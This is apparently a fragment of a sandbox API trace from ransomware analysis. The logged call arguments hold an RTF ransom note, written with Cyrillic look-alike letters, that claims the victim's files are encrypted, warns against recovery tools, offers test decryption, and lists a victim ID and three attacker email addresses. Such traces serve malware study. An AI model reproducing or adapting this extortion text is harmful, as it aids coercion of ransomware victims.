\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 